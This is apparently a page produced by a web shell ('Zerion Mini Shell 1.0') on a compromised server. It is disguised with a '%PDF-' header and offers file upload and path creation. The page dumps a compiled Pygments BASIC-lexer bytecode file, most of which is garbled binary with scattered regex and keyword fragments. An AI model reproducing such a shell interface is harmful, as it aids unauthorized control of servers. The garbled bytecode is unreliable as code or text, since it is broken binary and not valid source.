%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/pygments/lexers/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/pygments/lexers/__pycache__/basic.cpython-312.pyc

�

|�em��
�dZddlZddlmZmZmZmZmZddlm	Z	m
Z
mZmZm
Z
mZmZmZmZmZddlmZgd�ZGd�de�ZGd	�d
e�ZGd�de�ZGd
�de�ZGd�de�ZGd�de�ZGd�de�Zy)z�
    pygments.lexers.basic
    ~~~~~~~~~~~~~~~~~~~~~

    Lexers for BASIC like languages (other than VB.net).

    :copyright: Copyright 2006-2023 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�
RegexLexer�bygroups�default�words�include)
�Comment�Error�Keyword�Name�Number�Punctuation�Operator�String�Text�
Whitespace)�_vbscript_builtins)�BlitzBasicLexer�
BlitzMaxLexer�MonkeyLexer�CbmBasicV2Lexer�QBasicLexer�
VBScriptLexer�
BBCBasicLexerc ���eZdZdZdZdZddgZdgZdgZdZ	d	Z
d
ZdZde�d
e
�de�de�d�	Z
e
dzZej ej"zZdefdeee�fdej.fdej0fdej4dfdej8fdej8fdej:fdej<fdej>fde	ze fde!fde"jFfd ejHfd!ezee%jLee!e"jN�fd"e�d#e�d$�ee%jLee%jP�feee"jRee%jTe ee!ee%jTe"jNee%jTee!�
fe
ee"jVee%jTe ee!ee%jTe"jNee%jT�fd%ezee%jLee"jN�fd&e%jTfd'e%jXfd(e%jZfe.d)d*d*�+�e"j^fe.d,d*d*�+�e%jLfd-eze"jVfgd.ej4fd/ej4d0fd1ej4fgd2�Z0y3)4rz>
    For BlitzMax source code.

    .. versionadded:: 1.4
    �BlitzMax�http://blitzbasic.com�blitzmax�bmaxz*.bmxz
text/x-bmxz\b(Shl|Shr|Sar|Mod)\bz
@{1,2}|[!#$%]z&\b(Int|Byte|Short|Float|Double|Long)\b�	[a-z_]\w*�(z)(?:(?:([ \t]*)(z?)|([ \t]*:[ \t]*\b(?:Shl|Shr|Sar|Mod)\b)|([ \t]*)(:)([ \t]*)(?:z|(z)))(?:([ \t]*)(Ptr))?)z?((?:[ \t]|\.\.\n)*)([(])�\s+z
(\.\.)(\n)z'.*?\nz*([ \t]*)\bRem\n(\n|.)*?\s*\bEnd([ \t]*)Rem�"�string�[0-9]+\.[0-9]*(?!\.)z\.[0-9]*(?!\.)�[0-9]+�\$[0-9a-f]+�\%[10]+z9(?:(?:(:)?([ \t]*)(:?%s|([+\-*/&|~]))|Or|And|Not|[=<>^]))z[(),.:\[\]]z
(?:#[\w \t]*)z(?:\?[\w \t]*)z\b(New)\b([ \t]?)([(]?)(%s)z$\b(Import|Framework|Module)([ \t]+)(z\.�)z\b(Type|Extends)([ \t]+)(%s)z	\b(Ptr)\bz#\b(Pi|True|False|Null|Self|Super)\bz\b(Local|Global|Const|Field)\b)�TNullMethodException�TNullFunctionException�TNullObjectException�TArrayBoundsException�TRuntimeException�\b��prefix�suffix)E�Strict�SuperStrict�Module�
ModuleInfo�End�Return�Continue�Exit�Public�Private�Var�VarPtr�Chr�Len�Asc�SizeOf�Sgn�Abs�Min�Max�New�Release�Delete�Incbin�	IncbinPtr�	IncbinLen�	Framework�Include�Import�Extern�	EndExtern�Function�EndFunction�Type�EndType�Extends�Method�	EndMethod�Abstract�Final�If�Then�Else�ElseIf�EndIf�For�To�Next�Step�EachIn�While�Wend�EndWhile�Repeat�Until�Forever�Select�Case�Default�	EndSelect�Try�Catch�EndTry�Throw�Assert�Goto�DefData�ReadData�RestoreDataz(%s)�""�"C?�#popz[^"]+��rootr#N)1�__name__�
__module__�__qualname__�__doc__�name�url�aliases�	filenames�	mimetypes�
bmax_vopwords�bmax_sktypes�bmax_lktypes�	bmax_name�bmax_var�	bmax_func�re�	MULTILINE�
IGNORECASE�flagsrrrr�Single�	Multiliner�Doubler�Float�Integer�Hex�Binrr
r�Label�Preprocr
�Reserved�Class�	NamespacerQrS�Variable�Constant�Declarationr�	Exception�tokens���7/usr/lib/python3/dist-packages/pygments/lexers/basic.pyrrs�����D�
!�C��6�"�G��	�I���I�,�M�#�L�<�L��I�
�L�,�	�;�H��7�7�I��L�L�2�=�=�(�E��Z� �
�H�T�:�6�7�
����'�
:�G�<M�<M�N�
�&�-�-��*�
$�f�l�l�3�
����-�
����'�
�V�Z�Z�(�
����$�
I���&�
(�
�[�)�
�t�z�z�*�
����0�
+�y�
9�
�g�&�&�
�K����
L�
N���$�
�g�&�&�
�G�4E�4E�
F�
H������
�G�L�L�!)�:�{�J�!(���t�z�z�:�!(���z�;�H�
I��x��
�
�z�7�<�<�� *�K��W�\�\� $�
�
�J����F�
G�-�	�
:�
�g�&�&�
�D�J�J�
?�
A��7�<�<�(�
3�W�5E�5E�F�
.��0C�0C�D�
�%�.3�5�B�DH�>�>�
S���(-�U�<��
�
�
��	�
"�D�M�M�2�u;
�z�F�M�M�"�
�V�]�]�F�+�
�v�}�}�%�
�{B�Fr�rc�r�eZdZdZdZdZgd�ZddgZdgZdZ	d	Z
d
e
�de	�de
�d
�ZejejzZdefdej$fdej(dfdej,fdej,fdej.fdej0fdej2feddd��efdefdefde
zej<fde
zee jBeejD�fde
zee jBeej<�fde
zeeeeeejD�fd ezeejFee jHeeeejDee�	fd!ezee jBeejFee jHeeeejD�	fd"e
zee jBeejD�fd#e jJfd$e jLfed%dd��e jBfeeejNee jHeeeejD�fgd&ej(fd'ej(d(fd)ej(fgd*�Z(y+),rz@
    For BlitzBasic source code.

    .. versionadded:: 2.0
    �
BlitzBasicr)�
blitzbasic�b3d�bplusz*.bbz*.declsz	text/x-bbz@{1,2}|[#$%]z[a-z]\w*r z
)(?:([ \t]*)(z)|([ \t]*)([.])([ \t]*)(?:(z)))?r!z;.*?\nr"r#r$�\.[0-9]+(?!\.)r%r&r')�Shl�Shr�Sar�Mod�Or�And�NotrCrB�Handle�Intr��Str�First�Last�Before�Afterr.r/z([+\-*/~=<>^])z[(),:\[\]\\]z\.([ \t]*)(%s)z\b(New)\b([ \t]+)(%s)z\b(Gosub|Goto)\b([ \t]+)(%s)z'\b(Object)\b([ \t]*)([.])([ \t]*)(%s)\bz\b%s\b([ \t]*)(\()z\b(Function)\b([ \t]+)%sz\b(Type)([ \t]+)(%s)z\b(Pi|True|False|Null)\bz"\b(Local|Global|Const|Field|Dim)\b)#r6r7r9r>r?r@rFrH�InsertrMrQrSrZr[r\r]r^r_r`rarb�Eachrdrergrhrirjrkrlrs�Gosub�Data�Read�Restorerwrxry�[^"\n]+rzN))r|r}r~rr�r�r�r�r��
bb_sktypes�bb_name�bb_varr�r�r�r�rrr�rr�rr�r�r�r�rrr
rr�rr
r�r�rQrSr�r�r�r�r�r�r�rrss�����D�
!�C�,�G���#�I��
�I� �J��G��z�7�,�F�
�L�L�2�=�=�(�E��Z� �
����'�
�&�-�-��*�
$�f�l�l�3�
����-�
����'�
�V�Z�Z�(�
����$�
�8� ��/��	
�
��)�
�k�*�
��
(�$�*�*�5�
%��
1�
�g�&�&�
�D�J�J�
?�
A�
,��
8�
�g�&�&�
�D�J�J�
?�
A�
7�7�
C�
�h�
�K��T�Z�Z�
P�
R�
"�V�
+�
�d�m�m�Z����z�;� �$�*�*�j�+�G�
H�)�6�
1�
�g�&�&�
�D�M�M�:�w�|�|� �+�z�4�:�:�G�
H�%��
0�
�g�&�&�
�D�J�J�
?�
A�)�'�*:�*:�;�
2�G�4G�4G�H�
�<�
EJ�RW�Y��
�
�

��X�d�m�m�Z����(�+�z�4�:�:�O�
P�c3
�j�F�M�M�"�
�V�]�]�F�+�
����'�
�k:�Fr�rc
�J�eZdZdZdZdgZdgZdgZdZdZ	dZ
dZd	Zd
Z
dZej Zgdef�d
ef�dej(df�dej*f�dej*df�dej.df�dej2f�dej2f�dej4f�dej6f�dej8f�de
zej<f�dej>f�de jBf�de jDf�de jDjFf�de jHf�d e%ejLee jLe�f�d!ej>f�d"e%ejNe�df�d#e%ej>e�d$f�d%e%ej>e�d&f�d'ej>f�d(ej>f�d)ej>f�d*e(f�d+e)f�d,e)jTf�d-e(f�d.e
ze jHf�d.e	ze jVf�d.eze jXf�d/e	ze jVfd0e(d$fdefd1e(dfd2e(d3fgd4eze jLfd.e
zej<fd.eze jZfd5e%e(eej4ee(�fd6ed3fd7e(d8fd9e(d3fd:ed3fe.d3�g	d.e
ze jHfd.eze jXfd;ezej<fdefd0e(d$fd<e(d8fe.d3�gd=ej.fd>ej^fdej.d3fgd?ej(d8fd@ej(d3fd:ej(fdAej(fgdB�Z0yC)Drz�
    For
    `Monkey <https://en.wikipedia.org/wiki/Monkey_(programming_language)>`_
    source code.

    .. versionadded:: 1.6
    �Monkey�monkeyz*.monkeyz
text/x-monkeyrz[A-Z]\w*z[A-Z_][A-Z0-9_]*z
[a-z0-9_]*z+(?:Int|Float|String|Bool|Object|Array|Void)z[?%#$]r!z'.*z(?i)^#rem\b�commentz6(?i)^(?:#If|#ElseIf|#Else|#EndIf|#End|#Print|#Error)\bz^#�	variablesr"r#r$r�r%z\$[0-9a-fA-Z]+r'z\b%s\bz(?i)\b(?:Try|Catch|Throw)\b�	Throwablez(?i)\b(?:Null|True|False)\bz(?i)\b(?:Self|Super)\bz\b(?:HOST|LANG|TARGET|CONFIG)\bz(?i)^(Import)(\s+)(.*)(\n)z(?i)^Strict\b.*\nz#(?i)(Const|Local|Global|Field)(\s+)z1(?i)(New|Class|Interface|Extends|Implements)(\s+)�	classnamez(?i)(Function|Method)(\s+)�funcnamezB(?i)(?:End|Return|Public|Private|Extern|Property|Final|Abstract)\bz�(?i)(?:If|Then|Else|ElseIf|EndIf|Select|Case|Default|While|Wend|Repeat|Until|Forever|For|To|Until|Step|EachIn|Next|Exit|Continue)(?=\s)z(?i)\b(?:Module|Inline)\bz[\[\]]z.<=|>=|<>|\*=|/=|\+=|-=|&=|~=|\|=|[-&*/^+=<>|~]z(?i)(?:Not|Mod|Shl|Shr|And|Or)z[(){}!#,.:]z%s\bz(?i)%s\b�:z\(z\)ryz%s\.z(\[)(\s*)(\d*)(\s*)(\])z\s+(?!<)�<z#push�>�\nz%s�,z[^"~]+z~q|~n|~r|~t|~z|~~z(?i)^#rem.*?z(?i)^#end.*?z.+)r{r�r�r�r#r�N)1r|r}r~rr�r�r�r��
name_variable�
name_function�
name_constant�
name_class�name_module�keyword_type�keyword_type_specialr�r�r�rrr�r�rr�rr�r�r�r�r
rSr�rr��Builtin�Pseudor�rr�r�r
r�WordrQr�r�r�Escaper�r�r�r�rr�s�����D��j�G���I� �!�I� �M��M�'�M��J��K�A�L�$���L�L�E�:
�
�Z� �:
��W��	:
�
�W�.�.�	�:�:
�G����X�:
��G�O�O�[�1�:
��&�-�-��*�:
�%�f�l�l�3�:
�����-�:
�����'�:
� ��
�
�+�!:
�"����$�#:
�&��
%�w�|�|�4�':
�*,�W�-=�-=�>�+:
�,�4�>�>�*�-:
�0,�T�\�\�:�1:
�2'����(;�(;�<�3:
�40����?�5:
�8+�
�g�'�'��T�^�^�Z�
P�
R�9:
�<"�7�#3�#3�4�=:
�>4�
�g�)�)�:�
6��
E�?:
�BB�
�g�&�&�
�
3�[�
B�C:
�F+�
�g�&�&�
�
3�Z�
A�G:
�J"�#*�#3�#3�
5�K:
�P%�
'.�&6�&6�
8�Q:
�^*�7�+;�+;�<�_:
�b��$�c:
�f?��I�g:
�h/��
�
�>�i:
�j�[�)�k:
�n�}�
$�d�m�m�4�o:
�p�}�
$�d�m�m�4�q:
�r�}�
$�d�m�m�4�s:
�x�=�
(�$�-�-�8�
�;��,�
�Z� �
�K��-�
�K��(�
��{�
"�D�N�N�3�
�|�
#�W�\�\�2�
�z�
!�4�:�:�.�
'�
�k�:�v�~�~�z�;�
W�
Y��*�f�-�
�;��(�
�;��'�
�J��'��F�O�

��}�
$�d�m�m�4�
�}�
$�d�m�m�4�
�)�
)�7�<�<�8�
�Z� �
�;��,�
�;��(��F�O�
���
�
�&�
!�6�=�=�1�
�6�=�=�&�)�
��g�/�/��9�
�g�/�/��8�
�G�%�%�&�
�G�%�%�&�	
�e�Fr�rc
��eZdZdZdZdgZdgZejZ	dde
jfdefde
jfd	e
jfd
ej"fdefdej&fd
efdej,fdefdefgiZd�Zy)rz>
    For CBM BASIC V2 sources.

    .. versionadded:: 1.6
    zCBM BASIC V2�cbmbas�*.basr{zrem.*\nr!z�new|run|end|for|to|next|step|go(to|sub)?|on|return|stop|cont|if|then|input#?|read|wait|load|save|verify|poke|sys|print#?|list|clr|cmd|open|close|get#?zdata|restore|dim|let|def|fnzktab|spc|sgn|int|abs|usr|fre|pos|sqr|rnd|log|exp|cos|sin|tan|atn|peek|len|val|asc|(str|chr|left|right|mid)\$z
[-+*/^<>=]z
not|and|orz	"[^"\n]*.z\d+|[-+]?\d*\.\d*(e[-+]?\d+)?z[(),:;]z\w+[$%]?c�2�tjd|�ryy)Nz^\d+g�������?)r��match��texts r��analyse_textzCbmBasicV2Lexer.analyse_textds���8�8�G�T�"��#r�N)r|r}r~rr�r�r�r�r�r�rr�rr
r�r�rr�rr�rrr�r
r�r�r�r�r�rrEs����
�D��j�G��	�I��M�M�E�	�
����(�
�Z� �/�07�0@�0@�
B�,�W�-@�-@�A�=�>B�l�l�
L�
�H�%�
�H�M�M�*�
�6�"�
-�v�|�|�<�
��%�
�$��
��F�&r�rc��eZdZdZdZddgZddgZdgZdZd	Z	d
Z
dZdZd
Z
defdejfdeejej$ejej(�fdeejej$ej�fdej*j,fdej(fdej0fdeej4ejej4�fdeej6ejej*eje�fdeej6ejej*ejej*j,�fdeej6ejej*j,�fdeejej*j,eje�fdeej4ejej$�fdeej4ejej$�fed�ed�ed�ed�ed �ed!�d"ej*j,fd#ej$fd$ej>fd%ej>fd&ej@jBfd&ej@fd'efd(e"fd)ej*j,fgd*d+jGe$e%jLe��zej6fgd*d+jGe$e%jLe	��zej4fgd*d+jGe$e%jLe
��zejNfgd*d+jGe$e%jLe��zejPfgd,d+jGe$e%jLe��zej4fgd,d+jGe
�zefgd-�Z)d.�Z*y/)0rzm
    For
    `QBasic <http://en.wikipedia.org/wiki/QBasic>`_
    source code.

    .. versionadded:: 2.0
    �QBasic�qbasic�basicz*.BASr�z
text/basic)�DATA�LET)U�ABS�ASC�ATN�CDBL�CHR$�CINT�CLNGzCOMMAND$�COS�CSNG�CSRLIN�CVD�CVDMBF�CVI�CVL�CVS�CVSMBF�DATE$zENVIRON$�EOF�ERDEVzERDEV$�ERL�ERR�EXP�FILEATTR�FIX�FRE�FREEFILEzHEX$�INKEY$�INPzINPUT$�INSTR�INTzIOCTL$�LBOUNDzLCASE$�LEFT$�LEN�LOC�LOF�LOG�LPOSzLTRIM$�MID$zMKD$zMKDMBF$zMKI$zMKL$zMKS$zMKSMBF$zOCT$�PEEK�PEN�PLAY�PMAP�POINT�POS�RIGHT$�RNDzRTRIM$�SADD�SCREEN�SEEK�SETMEM�SGN�SINzSPACE$�SPC�SQR�STICK�STR$�STRIG�STRING$�TAB�TAN�TIME$�TIMER�UBOUNDzUCASE$�VAL�VARPTRzVARPTR$�VARSEG)�$DYNAMICz$INCLUDE�$STATIC)�AND�EQV�IMP�NOT�OR�XOR)��BEEP�BLOAD�BSAVE�CALLz
CALL ABSOLUTEzCALL INTERRUPT�CALLS�CHAIN�CHDIR�CIRCLE�CLEAR�CLOSE�CLS�COLOR�COM�COMMON�CONSTr�r��DECLAREzDEF FNzDEF SEG�DEFDBL�DEFINT�DEFLNG�DEFSNG�DEFSTR�DEF�DIM�DO�LOOP�DRAW�END�ENVIRON�ERASE�ERROR�EXIT�FIELD�FILES�FOR�NEXT�FUNCTION�GET�GOSUB�GOTO�IF�THEN�INPUTzINPUT #�IOCTL�KEYr\�KILLr��LINEz
LINE INPUTzLINE INPUT #�LOCATE�LOCK�UNLOCK�LPRINT�LSETr�MKDIR�NAMEzON COMzON ERRORzON KEYzON PENzON PLAYzON STRIGzON TIMERz	ON UEVENT�ON�OPENzOPEN COMzOPTION BASE�OUT�PAINT�PALETTE�PCOPYrr�POKE�PRESET�PRINTzPRINT #zPRINT USING�PSET�PUTrp�	RANDOMIZE�READ�REDIM�REM�RESET�RESTORE�RESUME�RETURN�RMDIR�RSET�RUNrrzSELECT CASE�SHARED�SHELL�SLEEP�SOUND�STATIC�STOPr�SUB�SWAP�SYSTEMr#r$�TROFF�TRON�TYPE�UEVENTra�VIEW�WAIT�WHILE�WEND�WIDTH�WINDOW�WRITE)#�ACCESS�ALIAS�ANY�APPEND�AS�BASE�BINARY�BYVAL�CASE�CDECL�DOUBLE�ELSE�ELSEIF�ENDIF�INTEGER�IS�LIST�LOCAL�LONGrI�MODrS�OFFrf�OUTPUT�RANDOM�SIGNAL�SINGLE�STEP�STRINGrY�TO�UNTIL�USINGr�z\n+r!z^(\s*)(\d*)(\s*)(REM .*)$z^(\s*)(\d+)(\s*)z(?=[\s]*)(\w+)(?=[\s]*=)z(?=[^"]*)\'.*$z	"[^\n"]*"z"(END)(\s+)(FUNCTION|IF|SELECT|SUB)z (DECLARE)(\s+)([A-Z]+)(\s+)(\S+)z (DIM)(\s+)(SHARED)(\s+)([^\s(]+)z(DIM)(\s+)([^\s(]+)z^(\s*)([a-zA-Z_]+)(\s*)(\=)z(GOTO|GOSUB)(\s+)(\w+\:?)z(SUB)(\s+)(\w+\:?)�declarations�	functions�metacommands�	operators�
statements�keywordsz[a-zA-Z_]\w*[$@#&!]z[a-zA-Z_]\w*\:z\-?\d*\.\d+[@|#]?z\-?\d+[@|#]z\-?\d+#?z'!=|==|:=|\.=|<<|>>|[-~+/\\*%=<>&^|?:!.]z[\[\]{}(),;]z[\w]+z\b(%s)(?=\(|\b)�|z\b(%s)\b)r{r�r�r�r�r�r�c��d|vsd|vryy)Nr)r*��������?r�r�s r�r�zQBasicLexer.analyse_text�s������d�!2��"3r�N)+r|r}r~rr�r�r�r�r�r�r�r�r�r�rrrrr�rr�r��Globalrr�r
r�r�rrrr�r��Longr
�join�mapr��escaper�r�r�r�r�r�r�rrks�����D���!�G��'�"�I���I�"�L��I� 7�L�9�I��J�.�H��T�N�
�T�_�_�%�
)�
�d�o�o�t�z�z�4�?�?��n�n�&�
'�!�
�d�o�o�t�z�z�4�?�?�
C�
E�
(�$�-�-�*>�*>�?�
����/�
�6�=�=�)�
2�
�g�&�&�����9I�9I�
J�
L�
0�
�g�)�)�4�?�?�D�M�M��o�o�t�-�
.�1�
�g�)�)�4�?�?�D�M�M��o�o�t�}�}�';�';�=�
>�$�
�g�)�)�4�?�?�D�M�M�<P�<P�
Q�
S�
+�
�d�o�o�t�}�}�';�';�T�_�_�� �
!�*�
�g�&�&�������
D�
F�
"�
�g�&�&�������
D�
F��N�#��K� ��N�#��K� ��L�!��J��
#�T�]�]�%9�%9�:�
��
�
�+�
!�6�<�<�0�
�V�\�\�*�
�&�.�.�-�-�.�
�&�.�.�)�
7��B�
�k�*�
�t�}�}�+�+�,�U+
�^ �#�(�(�3�r�y�y�,�+G�"H�
H�
�
 �
 �
"�
�
 �#�(�(�3�r�y�y�)�+D�"E�
E�
�
�
�
�
�
 �#�(�(�3�r�y�y�,�+G�"H�
H�
�
�
�
�
�
 �#�(�(�3�r�y�y�)�+D�"E�
E�x�}�}�U�
��3�8�8�C��	�	�:�$>�?�
?�
�
�
�
�
�
�3�8�8�H�-�
-�w�7�
�EE�F�Nr�rc���eZdZdZdZdgZddgZejZ	de
jfdefde
jd	fd
ej fdej"fdej"fd
ej"fdej$fde
fdeej*eej.�dfdeej*eej0�fdeej*eej2�fdeej*eej4�fdeeee�fdeeeeeeeej$�fdeeeeeeee�fdeeee�fdeej*eej*eej6�fde
jfeej<d��efeej>�e feejBd��e jDfeejFd��ej4feejHd��ejJfeejLd��ejJfdefde fed�e'fd e(fgd!eee'eej.�fe)d"�gd#e
jfd$e
jfde
jd"fd%e(d"fgd&�Z*y')(rzd
    VBScript is scripting language that is modeled on Visual Basic.

    .. versionadded:: 2.4
    �VBScript�vbscriptz*.vbsz*.VBSz'[^\n]*r!r"r#z&h[0-9a-f]+z[0-9]+\.[0-9]*(e[+-]?[0-9]+)?z\.[0-9]+(e[+-]?[0-9]+)?z[0-9]+e[+-]?[0-9]+r%z#.+#z(dim)(\s+)([a-z_][a-z0-9_]*)�dim_morez%(function|sub)(\s+)([a-z_][a-z0-9_]*)z(class)(\s+)([a-z_][a-z0-9_]*)z(const)(\s+)([a-z_][a-z0-9_]*)z/(end)(\s+)(class|function|if|property|sub|with)z#(on)(\s+)(error)(\s+)(goto)(\s+)(0)z((on)(\s+)(error)(\s+)(resume)(\s+)(next)z(option)(\s+)(explicit)z3(property)(\s+)(get|let|set)(\s+)([a-z_][a-z0-9_]*)z
rem\s.*[^\n]*r.)r1z[a-z_][a-z0-9_]*z\b_\nz(),.:z.+(\n)?z(\s*)(,)(\s*)([a-z_][a-z0-9]*)ryr�z\"\"r�)r{r�r#N)+r|r}r~rr�r�r�r�r�r�rr�rrr�rr�r�r�rr
r�rr�rQr�r��Propertyrr�KEYWORDS�	OPERATORSr�OPERATOR_WORDSr��BUILTIN_CONSTANTS�BUILTIN_FUNCTIONSr��BUILTIN_VARIABLESr
r	rr�r�r�r�rr�s����
�D��l�G��'�"�I��M�M�E�����(�
�Z� �
�&�-�-��*�
�F�J�J�'�
-�v�|�|�<�
'����6�
"�F�L�L�1�
����'�
�V��
,�
�g�)�)�:�t�}�}�
E�z�
S�
5�
�g�)�)�:�t�}�}�
E�
G�
.�
�g�)�)�:�t�z�z�
B�
D�
.�
�g�)�)�:�t�}�}�
E�
G�
?�
�g�z�7�
3�
5�
3�
�g�z�7�J���U[�Uc�Uc�
d�
f�
8�
�g�z�7�J���U\�
]�
_�
'��'�:�w�)O�P�
C�
�g�)�)�:�w�7J�7J�J�X\�Xe�Xe�
f�
h�
�w�~�~�.�
�%�.�.�u�
=�w�G�
�%�/�/�
0�(�;�
�%�4�4�U�
C�X�]�]�S�
�%�7�7��
F��
�
�V�
�%�7�7��
F����U�
�%�7�7��
F����U�
 �$�'�
�x� �
�8�_�k�*�
���M'
�R/�
�j�+�z�4�=�=�
I�
K��F�O�
�����'�
�f�m�m�$�
�6�=�=�&�)�
�E�6�"�	
�]4�Fr�rc��eZdZdZgd�Zgd�ZdZdgZdgZde	jfdeejej�fed	�gd
eej"ej$�fdedfd
efdej(fdeej"eej"e	j*�fdeee	j*�fdeeee	j�fdej,fdejfee�efee�efdej2dfdej6fdej8fdej:fdej:fdej:fdej<fde	j>fde fgdej2fdej2dfde!dfgd �Z"d!�Z#y")#rz�
    BBC Basic was supplied on the BBC Micro, and later Acorn RISC OS.
    It is also used by BBC Basic For Windows.

    .. versionadded:: 2.4
    )w�	OTHERWISEr+�DIV�EORr�r/rNr^r�r�rr!r�rY�OPENIN�PTR�PAGE�TIME�LOMEM�HIMEMr��ACS�ADVALr��ASNr��BGETr��COUNT�DEGr�r��EVALr��EXT�FALSE�FNrU�INKEYrrr�LNr
r.�OPENUP�OPENOUT�PIrr�RADrrrrr"r��TRUE�USRr&�VPOSr�zGET$rrrrrr r�r�r�r�r�r�r�BPUTr4r6r9r:�CLGr;r�rFrGrJrK�ENDPROC�ENVELOPErRrVrW�GCOLrXrZr�r��MODE�MOVErSrf�VDU�PLOTrn�PROCrrrt�REPEAT�REPORTrvrxr{r��COLOUR�TRACEr�r��OSCLI)/�WHEN�OF�ENDCASEr��ENDWHILEr�r8�FILL�ORIGINr�	RECTANGLEr�r�r��MOUSE�QUIT�SYS�INSTALL�LIBRARY�TINT�ELLIPSE�BEATS�TEMPO�VOICES�VOICE�STEREO�OVERLAYr��AUTO�CRUNCH�DELETE�EDIT�HELPr��LOAD�LVAR�NEW�OLD�RENUMBER�SAVE�TEXTLOAD�TEXTSAVE�TWIN�TWINOr��SUM�BEATz	BBC Basic�bbcbasicz*.bbcr%z(\*)([^\n]*)�codez
(REM)([^\n]*)r�r{r!r�z%(DEF)(\s*)(FN|PROC)([A-Za-z_@][\w@]*)z(FN|PROC)([A-Za-z_@][\w@]*)z#(GOTO|GOSUB|THEN|RESTORE)(\s*)(\d+)z(TRUE|FALSE)z>(PAGE|LOMEM|HIMEM|TIME|WIDTH|ERL|ERR|REPORT\$|POS|VPOS|VOICES)r"r#z%[01]{1,32}z&[0-9a-f]{1,8}z"[+-]?[0-9]+\.[0-9]*(E[+-]?[0-9]+)?z[+-]?\.[0-9]+(E[+-]?[0-9]+)?z[+-]?[0-9]+E[+-]?[0-9]+z[+-]?\d+z([A-Za-z_@][\w@]*[%$]?)z1([+\-]=|[$!|?+\-*/%^=><();]|>=|<=|<>|<<|>>|>>>|,)r�ry)r{rr#c�J�|jd�s|jd�ryy)Nz10REM >zREM >r�)�
startswithr�s r�r�zBBCBasicLexer.analyse_text�s"���?�?�9�%�����)A��*Br�N)$r|r}r~r�
base_keywords�basic5_keywordsr�r�r�rr�rr
r�r�Specialrr�r�rr�rQr�rrr�rr�r�r�r�r�rr	r�r�r�r�r�rr<s����9�M�$B�O��D��l�G��	�I���
�
�#�
�
�g�n�n�g�o�o�
6�
8��F�O�	
��
�g�)�)�7�>�>�
:�
<�
�J��'�
�Z� �
�7�?�?�#�6�
�g�)�)�:��)�)�4�=�=�:�
;�,�
�g�t�}�}�
-�
/�4�
�g�z�4�:�:�
6�
8��g�.�.�/�
N�
�^�^�
��=�
!�7�+�
�?�
#�W�-�
�&�-�-��*�
�F�J�J�'�
�v�z�z�*�
2�F�L�L�A�
,�f�l�l�;�
'����6�
�&�.�.�)�
'����7�
A�8�L�G$
�L����'�
�6�=�=�&�)�
�E�6�"�
�[2�F�hr�r)rr��pygments.lexerrrrrr�pygments.tokenrr	r
rrr
rrrr�pygments.lexersr�__all__rrrrrrrr�r�r��<module>r#s����
�H�H�4�4�4�.�<��Y�J�Y�xM�j�M�`�*��D#�j�#�LL�*�L�^?�J�?�D]�J�]r�

Zerion Mini Shell 1.0